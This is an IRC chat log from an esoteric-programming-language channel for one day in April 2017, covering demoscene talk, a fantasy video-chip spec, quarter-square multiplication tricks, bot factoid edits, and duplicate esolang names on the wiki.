←2017-04-16 2017-04-17 2017-04-18→ ↑2017 ↑all
00:02:10 -!- DHeadshot has quit (Ping timeout: 258 seconds).
00:05:38 -!- augur has quit (Remote host closed the connection).
00:12:00 -!- sebbu2 has changed nick to sebbu.
00:19:32 <HackEgo> [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51731&oldid=51713 * Fractalwizz * (+243) fractalwizz Introduction
00:20:05 <HackEgo> [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51732&oldid=47049 * Fractalwizz * (+124) Added Interpreter Link
00:20:35 -!- augur has joined.
00:22:06 <trn> Yo guys !!! http://i.imgur.com/NiiUnVd.jpg
00:22:14 <trn> Live at Revision demoparty right now
00:22:24 <trn> A demo in Processing.js and Brainfuck
00:22:33 <trn> With brainfuck on the screen heh
00:24:50 -!- augur has quit (Ping timeout: 252 seconds).
00:32:43 -!- atslash has quit (Ping timeout: 240 seconds).
00:33:29 -!- atslash has joined.
00:36:06 -!- augur has joined.
00:40:30 -!- augur has quit (Ping timeout: 258 seconds).
00:43:33 <Jafet> looks vaguely like computer code stock photos
00:47:42 -!- augur has joined.
00:51:59 -!- augur has quit (Ping timeout: 240 seconds).
00:52:12 -!- hppavilion[1] has joined.
00:52:38 * hppavilion[1] writes a DO..IF construct
00:52:43 <hppavilion[1]> @massages-lood
00:52:43 <lambdabot> \oren\ said 3d 3h 18m 19s ago: ⸶⸷⸸ are in unicode what are you talking about
00:52:50 <Jafet> pouet lists no web (or esolang) category at revision, I guess this is being screened out of competition
00:52:59 <hppavilion[1]> `unidecode ⸸
00:53:00 <HackEgo> U+2E38 TURNED DAGGER \ UTF-8: e2 b8 b8 UTF-16BE: 2e38 Decimal: &#11832; \ ⸸ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals)
00:53:05 <hppavilion[1]> \oren\: ...FUUUUUUUUUUUUUUU
01:10:31 <rdococ> looooooooooooooooooooooooooooooool
01:10:39 <rdococ> `unidecode
01:10:41 <HackEgo> U+0002 <control> \ UTF-8: 02 UTF-16BE: 0002 Decimal: &#2; \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
01:10:44 -!- augur has joined.
01:11:20 <rdococ> `unidecode
01:11:21 <HackEgo> U+0003 <control> \ UTF-8: 03 UTF-16BE: 0003 Decimal: &#3; \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
01:12:00 -!- augur has quit (Read error: Connection reset by peer).
01:12:30 -!- augur has joined.
01:16:55 -!- augur has quit (Ping timeout: 258 seconds).
01:30:38 -!- Zarutian has quit (Ping timeout: 240 seconds).
01:31:19 <orby> trn: are you at revision? that's awesome btw
01:31:54 <trn> sadly not currently
01:32:18 <trn> Just watching the stream since I couldn't be there
01:41:50 -!- augur has joined.
01:46:13 -!- augur has quit (Ping timeout: 240 seconds).
01:47:38 <orby> trn: it totally slipped my mind that revision was today. are you active in the demoscene?
01:48:29 <orby> My most recent project: http://www.pouet.net/prod.php?which=68783
01:52:22 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51733&oldid=51730 * Orby * (+39) Changing specification to allow for different register widths.
01:53:06 <trn> orby: not active for many years
01:53:18 <orby> shame on you ;)
01:53:31 <trn> I DJ and I still follow the scene tho and use a lot of their music tools etc still
01:53:44 <trn> I could release stuff if I was less lazy etc I guess
01:53:44 <orby> cool
01:53:51 <trn> I go to compos when I can
01:54:15 <orby> yeah, I haven't been to any parties yet this year
01:54:29 <orby> I'm in the US, so not a lot of opportunity short of jumping the pond
01:54:38 <orby> I try to make it up to @party at least
01:54:58 <trn> yeah same
01:55:21 <orby> are you close to boston?
01:55:26 <trn> I like revision and Breakpoint but flying all over racks up the bills when we live in US
01:55:33 <orby> yes it does
01:55:40 <trn> and I'm Florida so nope
01:55:45 <trn> Soon Kentucky
01:55:58 <orby> ouch, you could almost get to revision faster than @party
01:56:02 <trn> Generally try to stay outta yankeedom :)
01:56:11 <orby> haha, nice
01:56:18 <orby> yeah, I'm in Baltimore, so right on the cusp
02:00:19 <trn> I'm always like "Oh, Revision" must be Easter
02:01:20 <trn> Revision is one of my fav events because it's got the wild compo and diverse stuff and a good scene
02:01:42 <trn> Much rather go to Revision than, say, defcon or something
02:05:51 <orby> I've never been to revision sadly. I hope to one day.
02:08:44 -!- sirnaysayer has joined.
02:17:29 <HackEgo> [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51734&oldid=51725 * Orby * (+0)
02:27:46 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
02:58:37 -!- MoALTz has quit (Quit: Leaving).
03:03:58 -!- sleffy has quit (Ping timeout: 240 seconds).
03:12:30 <HackEgo> [wiki] [[Teriyaki]] N https://esolangs.org/w/index.php?oldid=51735 * Orby * (+1556) Created Teriyaki VDP Page!
03:14:37 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51736&oldid=51733 * Orby * (+61) /* See Also */ Added link to Teriyaki
03:15:20 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51737&oldid=51735 * Orby * (+43) Adding categories
03:29:47 <Jafet> no hardware implementation? isn't this exactly how CRT screens work?
03:38:29 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...).
03:43:07 <orby> Jafet: I don't know enough about NTSC to know whether or not per pixel interrupts are possible. I've never seen it in hardware (probably because it's insane). Maybe it's possible. Who knows?
03:43:49 <orby> If there are any engineers around who want to try it, be my guest
03:44:19 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51738&oldid=51737 * Orby * (+589) Updating with more details
03:44:55 <Jafet> well, real hardware uses synchronised clocks instead of interrupts, but I don't see it making a big difference
03:45:41 <Jafet> unless the display can send interrupts at arbitrary times…
03:45:47 <orby> yeah, but vdps usually raise interrupts on the cpu for vblank and sometimes hblank
03:46:10 <orby> btw I added a note in the spec about the hblank interval for scanline effects. mwahahaha
03:46:48 <orby> Once I get around to writing a vm with these specs I can't wait to write my first raster bars
03:46:52 <Jafet> it seems too easy to work around this by having the interrupt handler read from the double buffer (which programs will be using anyway)
03:47:44 <orby> something like that is clearly neccesary unless the vm restricts ram to something silly like 1k
03:47:57 <orby> which is probably what I'll do for fun :)
03:48:57 <orby> a vm with 1k of ram and a 200 mhz cpu
03:51:14 <orby> the atari vcs only had enough vram for 40 pixels and 256 bytes of ram
03:51:20 <orby> and look at what programmers did with that
03:59:41 <rdococ> heh
04:02:01 <rdococ> hm
04:02:11 <rdococ> can you reference other #defined functions in #definitions?
04:18:19 -!- augur has joined.
04:20:33 <rdococ> hello augur
04:22:41 -!- augur has quit (Ping timeout: 255 seconds).
04:22:45 <Jafet> I don't think the “very fast CPU” is meaningful either; even for buffered displays the CPU must match the average fill rate, but it doesn't need to be much faster (only a few extra cycles per pixel to handle the interrupt)
04:23:45 <Jafet> well, it depends on how quickly the CPU can handle interrupts; A1 shouldn't be hard because there are only a handful of registers to save
04:25:56 -!- Sgeo__ has quit (Read error: Connection reset by peer).
04:26:14 <rdococ> why not an assembly programming language where everything is a system interrupt
04:26:24 <rdococ> need to MOV something? INT!
04:26:50 <Jafet> also known as minix *cough*
04:27:50 <orby> lol @ Jafet
04:28:27 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51739&oldid=51738 * Orby * (+267) Ditched interrupts to force users to cycle count ;) Changed timing notes from microseconds to cycles to reflect the fact that the VDP should be on the same clock as the cpu
04:28:58 <orby> oh man, I can't wait to start writing effects for this stupid thing
04:29:03 <orby> what an absurd idea
04:29:56 <rdococ> I'm working on an extremely high level language if you're interested
04:30:16 <rdococ> I'm talking computer algebra systems
04:30:21 <rdococ> maybe even higher
04:31:21 -!- Sgeo has joined.
04:31:40 <rdococ> if high level languages were a race, it would win before the race even started
04:36:44 <orby> Jafet: I think with the current timing scheme, users will be forced to do something other than simply dump to a frame buffer during the vblank and copy values to the palette during the drawing period
04:37:04 <orby> as it would only leave 8 cycles per pixel to render a frame buffer
04:37:51 <orby> hmm, maybe that means my vblank numbers are too low
04:38:10 <orby> I wish I had more experience with how video signals are timed out
04:38:43 <orby> the only machines I have experience with this stuff on usually have around 100,000 cycles available during the vblank
04:38:51 <orby> obviously I have cycle counted since the 80s...
04:41:00 <orby> Hmm, yeah my vblank period is only about 2.5% of the refresh, that sounds low
04:48:39 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51740&oldid=51739 * Orby * (+120) Updating timing with more realistic VBLANK numbers
04:55:27 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51741&oldid=51740 * Orby * (+3) /* Timing */ Cranking down timing for modesty
04:58:43 -!- sleffy has joined.
04:58:55 <rdococ> neh
04:59:04 <rdococ> Yay (tm)
04:59:22 -!- hppavilion[1] has joined.
05:04:43 <hppavilion[1]> HTTP/Vo/IP
05:05:26 <rdococ> VOIP
05:05:27 <hppavilion[1]> It's when you run HTTP by having someone do the request for you by reading them the request through Vo/IP, then having them read the response bytes back to you
05:05:31 <hppavilion[1]> rdococ: Vo/IP
05:05:36 <rdococ> Vio
05:05:37 <rdococ> p
05:05:40 <rdococ> ooh
05:05:42 <rdococ> esoteric protocol
05:06:33 <rdococ> EML: Esoteric Markup Language :P (ik it's not the same category as HTTP, but seeing as it's often related to HTML, meh)
05:07:30 <hppavilion[1]> rdococ: See: Project Xanadu
05:08:04 <rdococ> ?
05:08:24 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51742&oldid=51741 * Orby * (-1) /* Strategies */ typo
05:09:36 <hppavilion[1]> rdococ: Lookitup
05:10:02 <hppavilion[1]> rdococ: When reading about Crocker's Rules, I came across the term "social communication protocol", which is an interesting concept
05:10:46 <rdococ> I wanted to come up with something original. seems like I never get to :c
05:11:28 <rdococ> also, when I search up "social communication protocol" I see search results about a disorder (apparently, everything in a child is now a disorder).
05:11:45 <hppavilion[1]> rdococ: https://is.gd/vekZ7Y
05:12:01 <rdococ> I just did that -_-
05:13:27 <rdococ> I waned to be original, but :/
05:13:40 <rdococ> I can't make an EML with that masterpiece there
05:13:50 <rdococ> it'll just be like every single time I try to make a programming language
05:14:48 <hppavilion[1]> rdococ: Oh?
05:15:19 <rdococ> Actually, to be fair, I didn't see an actual markup language there - but I think that's the point
05:16:00 <rdococ> Additionally, there are probably more ways to improve paper.
05:16:13 <HackEgo> [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51743&oldid=51734 * Orby * (+97) Adding Teriyaki to projects page
05:18:47 <rdococ> For example, why have a semi-linear, fixed chunk of text at all? Have different subtopics that can be moved and dragged around for more customizable reading.
05:20:11 <rdococ> Why not get rid of the idea of webpages entirely, and just have a network of interconnected nodes, each one containing interactive information?
05:20:39 <hppavilion[1]> rdococ: I do think that the client should have more choice in presentation, and there should be a multi-layered approach to display where you can start with lower-level data
05:20:47 <rdococ> Exactly.
05:21:03 <hppavilion[1]> Like, I could just get the text and basic emphasis markup and not ask for as much styling information
05:21:28 <rdococ> Maybe we do need an esoteric markup language after all.
05:21:31 <rdococ> One problem:
05:21:33 <rdococ> it won't be esoteric :/
05:21:44 <rdococ> :p
05:23:57 <hppavilion[1]> rdococ: I think the ultimate goal of esolangery is to get something so crazy it wraps around and actually has a decent use
05:24:23 <rdococ> I've never been good at that.
05:24:26 <hppavilion[1]> rdococ: Like, I designed Ingredients-based programming on a whim and I'm pretty sure it has real possibilities in security
05:24:38 <hppavilion[1]> And Quantum Computing needs an esolanger *now*
05:24:51 <rdococ> I don't understand quantum computing very well.
05:25:03 <rdococ> Do you want me to try nevertheless?
05:26:23 <hppavilion[1]> rdococ: I understand quantum computing 1000000 times better than you, which basically means I can say the words "hilbert space" and that's it
05:26:46 <rdococ> nice way to make me feel down
05:27:24 <hppavilion[1]> rdococ: That was meant to be self-detrimental
05:27:37 <rdococ> Really?
05:27:46 <hppavilion[1]> Yeah
05:27:47 <rdococ> Odd way to be self-detrimental, but okay.
05:27:57 <hppavilion[1]> rdococ: "which basically means I can say the words \"hilbert space\" and that's it"
05:28:06 <hppavilion[1]> rdococ: I mean, the point was also that quantum computing is *hard*
05:28:22 <rdococ> I still don't get it.
05:28:29 <hppavilion[1]> rdococ: I'm not sure it worked very well
05:29:03 <rdococ> What should I try and fail to create this time?
05:29:06 <rdococ> `? success
05:29:07 <HackEgo> If at first you don't succeed, you fail.
05:29:21 <rdococ> `? fail
05:29:22 <HackEgo> fail? ¯\(°​_o)/¯
05:29:23 <rdococ> `? failure
05:29:24 <HackEgo> failure? ¯\(°​_o)/¯
05:29:37 <rdococ> `le//rn failure//If at first you don't fail, you succeed.
05:29:39 <HackEgo> Learned 'failure': If at first you don't fail, you succeed.
05:29:50 <rdococ> `le//rn failure//If at first you don't fail, you fail later.
05:29:52 <HackEgo> Relearned 'failure': If at first you don't fail, you fail later.
05:33:55 -!- atslash has quit (Quit: Leaving).
05:34:16 <rdococ> `? hppavilion[1]
05:34:17 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. Él aspira a ser más incomprensible que esta sabiduría.
05:34:19 <rdococ> `? xanadu
05:34:20 <HackEgo> xanadu? ¯\(°​_o)/¯
05:34:22 <rdococ> `? project xanadu
05:34:23 <HackEgo> project xanadu? ¯\(°​_o)/¯
05:37:47 -!- sleffy has quit (Ping timeout: 252 seconds).
05:39:51 -!- sleffy has joined.
05:46:37 <Jafet> orby: the obvious approach would be to render the first scanline during the vblank, then render the next scanline between interrupts
05:48:46 <orby> Jafet: Hmm, well during the scanline you'll need to update the palette, so that will eat up most of your time between scanlines
05:48:49 <HackEgo> [wiki] [[DStack]] https://esolangs.org/w/index.php?diff=51744&oldid=45924 * -Dark-Phantom- * (+51) Online interpreter link
05:48:54 <HackEgo> [wiki] [[ROOP]] https://esolangs.org/w/index.php?diff=51745&oldid=46059 * -Dark-Phantom- * (+49) Online interpreter link
05:49:23 <orby> I've rewritten the page to talk about timing in terms of cycles rather than seconds and ditched the interrupts under the assumption that the vdp will run on the same clock as the cpu anyway
05:50:19 <orby> so, assuming that most of the time during the actual scan will be eatten up by updating the palette, there are current 8192 cycles between scanlines to do stuff, which leaves 64 cycles per pixel if you want to do it the way you're talking about
05:50:58 <Jafet> the point is that any CPU that can handle the fillrate for a conventional video processor plus a few cycles per pixel interrupt can generally also handle this device without much trouble
05:51:53 <Jafet> it just needs to render ahead far enough that “difficult” pixels can be amortized
05:53:54 <orby> I think the lack of a frame buffer will definitely present a problem. I don't think there is enough time during the hblank to do very much, and certainly not enough time during the pixel interrupt to actually render anything.
05:54:26 <orby> It's definitely not impossible, by design. But I think it would be fun.
05:55:45 <orby> the VM I have in mind for it that I want to write wouldn't have enough ram to fill an entire framebuffer during the vblank
05:56:58 <Jafet> what I described works even if there are no vblanks or hblanks; the program can do calculations in between the interrupts
05:57:07 <orby> which interrupt?
05:57:15 <orby> the vsync or the pixel interrupt?
05:57:36 <Jafet> the pixel interrupts, which would be the only type remaining
05:57:57 <orby> the pixel interrupt only leaves room for a few cycles, definitely not enough to render anything interesting
05:59:06 <orby> I was describing the pixel interrupt as occuring every microsecond, and now I'm describing it as occuring every 64 cycles
05:59:47 -!- aiz11 has joined.
05:59:55 -!- sirnaysayer has quit (Quit: zonkzonk).
06:00:04 <orby> I get what you're saying, using a few cycles to copy from the scanline buffer and the rest to write to the new scanline buffer, but how much can you do in a few thousand cycles?
06:00:23 <Jafet> well, it varies greatly with the architecture
06:00:35 <orby> indeed
06:00:43 <Jafet> if you don't even have imul, let alone floating point, then it's going to be a bit constrained
06:01:26 <orby> I hope I don't come off as hostile toward your criticisms, thanks for taking a look at it, thinking about it, and discussing it with me
06:02:12 <orby> the whole reason I wrote up the spec for the vdp is that I'm planning a vm using this architecture https://esolangs.org/wiki/A1
06:02:28 <orby> which I think will be challenging and fun
06:09:58 <orby> man, imul. the last chip I wrote assembly code on with a multiplication instruction had a mul that used 120 cycles lol
06:10:35 <orby> good old tms9900
06:10:46 <orby> i'll take a 6502 any day
06:24:26 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51746&oldid=51742 * Orby * (-17) /* Timing */ Still tweaking cycle counts to produce something that's easier to emulate
06:44:54 <zzo38> One fast way to make multiplication in software is by "quarter square" algorithm. If you want to multiply together 16-bit numbers, you can do that easily enough too
06:54:51 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51747&oldid=51731 * Beefster * (+263) /* Introductions */
06:55:04 <HackEgo> [wiki] [[Hanoiing]] N https://esolangs.org/w/index.php?oldid=51748 * Beefster * (+2114) Brag brag brag lazy formatting brag brag blah
06:56:54 <HackEgo> [wiki] [[Hanoiing]] https://esolangs.org/w/index.php?diff=51749&oldid=51748 * Beefster * (+95) Wikipedia links
06:57:18 <orby> zzo38: yeah, when I'm writing stuff for cpus with no multiply instruction I am usually writing demoscene stuff, so I just use lookup tables
06:57:59 -!- sirnaysayer has joined.
06:58:33 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51750&oldid=51667 * Beefster * (+15) Shameless plug for an esolang I made today.
06:58:43 <zzo38> "Quarter square" algorithm is using a (one dimensional) lookup table.
07:02:24 -!- hppavilion[0] has joined.
07:05:43 -!- hppavilion[1] has quit (Ping timeout: 260 seconds).
07:09:22 <orby> zzo38: ahh, I did not know that. cool.
07:16:54 <Jafet> with 1K of memory you might be limited to 4×4 multiplication tables
07:18:09 <Jafet> it may be no better than a long multiplication then, for 32-bit registers
07:18:28 -!- sirnaysayer has quit (Quit: zonkzonk).
07:18:55 <Jafet> > (32 `div` 4)^2
07:18:57 <lambdabot> 64
07:19:12 -!- sirnaysayer has joined.
07:23:02 <Jafet> alas, without a left shift you can't really make use of sub-byte tables, so I think long multiplication always wins
07:25:24 -!- viznut has quit (Ping timeout: 246 seconds).
08:02:47 -!- orby has quit (Ping timeout: 260 seconds).
08:03:43 -!- sleffy has quit (Ping timeout: 240 seconds).
08:19:06 -!- viznut has joined.
08:24:49 -!- hppavilion[0] has quit (Ping timeout: 268 seconds).
08:43:40 -!- erkin has joined.
08:52:07 -!- AnotherTest has joined.
09:00:27 -!- kiki` has joined.
09:22:37 <rdococ> `? life
09:22:40 <HackEgo> ​‘Life,’ said Marvin, ‘don't talk to me about life.’
09:44:20 <rdococ> `? lisp
09:44:21 <HackEgo> lisp? ¯\(°​_o)/¯
09:58:26 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...).
10:12:36 <myname> don't talk to me about lisp
10:13:30 <Jafet> ((why not?))
10:37:31 <int-e> > let f n = n^2 `div` 4 in [(a,b) | a <- [0..127], b <- [0..127], a*b /= f (a+b) - f (a-b)]
10:37:33 <lambdabot> []
10:46:32 <int-e> Still tricky with just 1k of memory; but I guess one can implement a decent 8x8->16 bit multiplication with a 512 (maybe 514) byte table.
10:53:33 <rdococ> `? vmd
10:53:35 <HackEgo> vmd? ¯\(°​_o)/¯
11:14:17 -!- MoALTz has joined.
11:16:35 <int-e> Jafet: how about this: http://sprunge.us/cHaP?c
11:23:27 -!- aiz11 has quit (Remote host closed the connection).
11:30:26 <int-e> But if AI is your target platform I wouldn't worry about multiplication... how would one even test a < b efficiently?
11:30:35 <int-e> Err, A1.
11:33:00 <rdococ> `? a1
11:33:01 <HackEgo> a1? ¯\(°​_o)/¯
11:34:40 -!- boily has joined.
11:36:43 <zzo38> By some algebra, you could see that ((x+y)^2-(x-y)^2)/4=xy so if you store the quarter of square of the numbers in the table, then you can use that to calculate the multiplication.
11:55:26 <int-e> zzo38: that's what the code does
11:56:02 <int-e> (I reconstructed the idea from the "quarter square" keyword.)
11:56:19 <zzo38> OK
12:00:31 <rdococ> ooh
12:00:33 <rdococ> quarter square
12:00:41 <rdococ> sounds... squary
12:03:28 * boily happily mapoles rdococ for great nutrition
12:03:51 <rdococ> `? rdococ
12:03:58 <rdococ> er
12:03:58 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom.
12:04:12 <rdococ> `le//rn rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
12:04:15 <HackEgo> Relearned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
12:07:13 <rdococ> quarter square
12:08:47 <rdococ> wait
12:09:02 <rdococ> how would A1 implement squaring?
12:12:02 <rdococ> do you want me to try to design a higher level language that compiles to A1?
12:15:06 <rdococ> no?
12:15:07 <int-e> > scanl (+) 0 [1,3..]
12:15:10 <lambdabot> [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,4...
12:15:19 <rdococ> int-e, ^^
12:15:33 <int-e> that's the standard way of precomputing a squaring table if you don't have multiplication: add the first k odd numbers.
12:15:36 <boily> integral-ello.
12:15:47 <rdococ> ah
12:15:56 <rdococ> that's cool
12:16:31 <int-e> > scanl (+) 0 [0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8] -- squares divided by 4 are also easy.
12:16:33 <lambdabot> [0,0,1,2,4,6,9,12,16,20,25,30,36,42,49,56,64,72]
12:16:50 <rdococ> floored?
12:16:57 <int-e> yes, floored
12:17:13 <rdococ> so the / in ((x+y)^2-(x-y)^2)/4=xy is integral division?
12:17:23 <int-e> well, it's exact
12:17:27 <rdococ> ah
12:17:49 <int-e> but you can rewrite it as (x+y)^2/4 - (x-y)^2/4 with integer division.
12:17:56 <rdococ> (quartersqrt(x+y)-quartersqrt(x-y))
12:17:59 <rdococ> ah
12:17:59 <rdococ> k
12:18:11 <rdococ> and that allows you to use integer division?
12:18:12 <rdococ> interesting
12:18:13 <int-e> because the rounding errors (if x+y and x-y are odd) cancel each other.
12:18:16 <rdococ> kinda makes sense
12:18:17 <rdococ> ah
12:18:21 <rdococ> now that's cool
12:18:26 <Jafet> huh, so A1 isn't actually subleq
12:18:41 <rdococ> now I wish I came up with that :c
12:19:49 <rdococ> should I try designing (not implementing) a higher-level language that compiles to A1?
12:20:08 <rdococ> ofc it'd use Teriyaki too
12:20:14 <int-e> Jafet: yeah, kind of unfortunate
12:20:47 <rdococ> is there a way to calculate the quartersquare series in A1?
12:21:03 <int-e> Jafet: of course one can use a lookup table to implement comparison
12:21:17 <int-e> Jafet: but that feels... awkward.
12:21:19 <Jafet> I also wanted to nitpick orby that teriyaki isn't actually a sauce outside of america, but the system design had more pressing issues
12:21:26 <Jafet> (such as this one)
12:21:55 <boily> A1 looks purplish...
12:22:03 <rdococ> Should I try designing a higher-level language that compiles into A1 assembly?
12:22:13 <boily> @ask orby hellorby. have you heard of aubergine and is family?
12:22:14 <lambdabot> Consider it noted.
12:22:19 <rdococ> if so, what to call it?
12:22:30 <int-e> Jafet: are you sure?
12:23:23 <int-e> Ah, subtle, a cooking technique. Fair enough. Easy misconception to acquire :)
12:24:02 <rdococ> again, should I try designing a higher-level language that compiles into A1 assembly?
12:24:16 <zzo38> I know you can make teriyaki without sauce, because I have had it.
12:24:20 <int-e> But nevertheless, the technique does seem to involve a special sauce.
12:24:26 <Jafet> only in america is the abomination known as “teriyaki sauce” made separately and added to the food, instead of being produced by cooking
12:24:37 <int-e> ah.
12:24:47 <rdococ> sounds american.
12:26:29 <int-e> That is unfortunate, teriyaki produces incredibly tender meat.
12:26:52 <rdococ> . o O ( I might try it some time )
12:30:12 -!- boily has quit (Quit: BROOK CHICKEN).
12:30:17 <int-e> Oh well, it's no worse than Peking duck.
12:32:17 * rdococ peks
12:32:23 <int-e> (Of course that is actually a very decadent food, and not what people expect when they hear "duck" in connection with food.)
12:32:46 <rdococ> int-e: should I try designing a higher-level language that compiles into A1 assembly?
12:33:02 <rdococ> I guess it won't be much different to regular ones :/
12:45:17 <rdococ> so for multiplication all you need is {quartersquare, subtract, 0} or {quartersquare, subtract, add}
12:45:42 <int-e> you don't really need 0 if you have subtract
12:45:48 <rdococ> perhaps
12:45:58 <rdococ> ah
12:46:01 <rdococ> x - x = 0
12:46:01 <rdococ> duh
12:46:57 <rdococ> so all you need for multiplication is {quartersquare, subtract}. from there you can multiply quartersquare by 4, or multiply something by itself, to get square
12:48:30 <rdococ> well, now we have a simpler multiplication algorithm for subleq?
13:15:48 -!- kiki` has quit (Quit: Connection closed for inactivity).
13:19:12 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
13:23:53 <rdococ> as an exercise, I'm trying to implement the quartersquare multiplication method in brainfuck.
13:28:59 <rdococ> s/square/sqrt
13:30:19 -!- wob_jonas has joined.
13:31:02 <wob_jonas> orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600
13:34:42 <int-e> how could you do anything with that... heh
13:41:01 -!- contrapumpkin has joined.
13:42:34 <wob_jonas> This is why Color a dinosaur is such an important tech demonstration.
13:43:22 <wob_jonas> How do you do flood filling with just tiles and sprites?
13:44:00 <wob_jonas> It's magic.
13:48:26 <rdococ> for example, how to quartersqrt in bf?
13:51:35 <rdococ> w/o a lookup table
14:00:49 <rdococ> even w one
14:01:00 -!- h0rsep0wer has joined.
14:05:20 -!- Jauler has joined.
14:06:37 <Jauler> Hey, maybe someone does recognize what esoteric language this could be? "3>3<8>5<10>10<8>3<6>10<8>2<8<1<2>6>5<7>6<2<8>1>6<3<3>7>11<2<9>9<6>2<4<5>8>8<4>3>3<8<1>7>3<1<7>1>12<5>3<3<12>8<1<2<3>1>2<2>1>1<1<1>1<2>2<1>1<"
14:12:53 <alercah> it's C++ templates hth
14:13:32 <myname> i would consider that esoteric
14:13:49 <wob_jonas> alercah: no, that would need commas
14:14:04 <wob_jonas> (also identifiers)
14:14:54 <Jauler> hmm
14:15:13 <Jauler> I doubt that this could be C++ templates as those should have matching "<" and ">" pairs
14:15:16 <Jauler> :/
14:15:20 <wob_jonas> maybe it's part of some obfu code in some other language, and there's some code processing that string or something
14:15:29 <Jauler> might be
14:21:12 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51751&oldid=51747 * Bojidar-bg * (+343)
14:21:29 <wob_jonas> PCG has a shitton of esolangs, so it's hard to see which ones are actually popular (say, used by more than one people to write multiple programs). I'd like to know which ones are, because we should make an article of those on the esowiki
14:21:32 <HackEgo> [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51752&oldid=51732 * Bojidar-bg * (-14) Remove wrong use of "percent"
14:27:11 -!- Jauler has quit (Ping timeout: 260 seconds).
14:27:55 <Jafet> aren't most of them already on the wiki, at least as stubs?
14:28:14 <Jafet> though, the one just asked about isn't
14:28:27 <wob_jonas> Jafet: I don't think so. At least not if you count them unweighted:
14:29:35 <wob_jonas> there are a lot of stupid "languages" that people make up because they think it's hip to write a javascript interpreter on github of a language that can print strings or whatever, and then post two examples of it (a hello world and a factorial or fibonacci or whatever) and that's all there is
14:30:17 <wob_jonas> but I think there are actual better languages of which we're missing articles yet, simply because the esowiki has a small community and nobody's met those languages yet
14:32:37 <wob_jonas> seriously, I think there are more pointless stupid languages on PPCG than on esowiki
14:32:37 <wob_jonas> again, unweighted
14:34:47 <Jafet> I doubt so; they at least have the quality of having one working program in them
14:35:45 <Jafet> the wiki has, what, 1000 Category:Languages?
14:38:10 <Jafet> anyway, you can probably extract some kind of language list by parsing all the answers on the stackexchange site
14:38:54 <wob_jonas> Jafet: yeah, and a few dozen other articles that are languages but not in the category
14:39:14 <wob_jonas> Jafet: yes, perhaps you could do that, but I'm lazy
14:42:00 <Jafet> since you are lazy (and, furthermore, I am also lazy), we could just wait for the people in the ppcg esolangs chatroom (apparently there is one? darth decisive oerjan may know) to decide which of their esolangs are good and add them to the wiki
14:43:22 <wob_jonas> is HODOR and Hodor the same language?
14:43:57 <wob_jonas> https://codegolf.stackexchange.com/a/58357/6691 vs http://www.hodor-lang.org/
14:44:00 <Jafet> they're both OISCs, presumably?
14:44:26 <wob_jonas> no, I don't think so
14:44:28 <Jafet> sadly, no
14:44:40 <wob_jonas> I think they're more like Ook!
14:44:50 <wob_jonas> as in, a language pronouncable by someone with a very reduced vocabulary
14:45:25 <wob_jonas> I think these are actually two different programming languages
14:45:44 <Jafet> maybe, but the first page links to the second
14:45:54 <wob_jonas> crazy stuff
14:45:59 <wob_jonas> uh, wrong links then
14:45:59 <wob_jonas> wait
14:46:23 <wob_jonas> https://github.com/ValyrioCode/Hodor vs http://www.hodor-lang.org/
14:46:23 <wob_jonas> sorry
14:46:41 -!- `^_^v has joined.
14:50:15 <Jafet> might be difficult to create wiki articles for both languages, then
14:51:02 <wob_jonas> Jafet: we already have pairs of pages for identically named languages, and there are more for which we don't have pages yet. that never stopped us
14:52:02 <Jafet> hmm the two SLOBOL articles don't even link to each other
14:53:13 <wob_jonas> some of the clashes are because some people like to give single-letter names to their languages, so there are multiple languages named V or A or Y
14:53:23 <wob_jonas> some are because people give deliberately confusing name to an esolang, like GHC and GCC
14:53:52 <wob_jonas> the case of Hodor may be an accident for all I know
14:54:31 <wob_jonas> and "x86" as an esolang name is probably an accident too: they named the esolang that before that name got well spread used for the cpu architecture
14:55:19 <wob_jonas> then there's "MIX" which was given as a name for some insignificant esolang way after the much more famous esolang was well established
14:55:24 <wob_jonas> that's just rude IMO
14:57:44 <wob_jonas> The Hodor one is confusing, I'll create a page on the esowiki just to avert the confusion when someone talks about Hodor and someone else thinks it's the other Hodor.
14:57:56 <HackEgo> [wiki] [[Hodor]] N https://esolangs.org/w/index.php?oldid=51753 * B jonas * (+252) Created page with "'''Hodor''' is the name of two esoteric languages, with homepage https://github.com/ValyrioCode/Hodor and http://www.hodor-lang.org/ respectively. One of them might actually..."
